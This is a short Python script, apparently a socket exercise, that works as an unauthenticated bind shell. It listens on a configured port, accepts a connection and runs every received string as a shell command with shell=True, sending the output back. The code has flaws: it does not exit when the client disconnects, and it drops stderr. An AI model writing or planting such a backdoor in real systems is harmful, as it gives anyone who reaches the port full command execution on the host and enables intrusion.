import socket
import subprocess
from settings import ADDRESS,PROT

server = socket.socket()
server.bind((ADDRESS,PROT))
server.listen(2)

conn,addr = server.accept()
while True:
    print("wait command")
    data = conn.recv(1024)
    if not data:
        print("client lost")
    print("receive:",data)
    ret = subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
    conn.sendall(bytes(ret.stdout.read()))
    print('sead done')
    ret.wait()
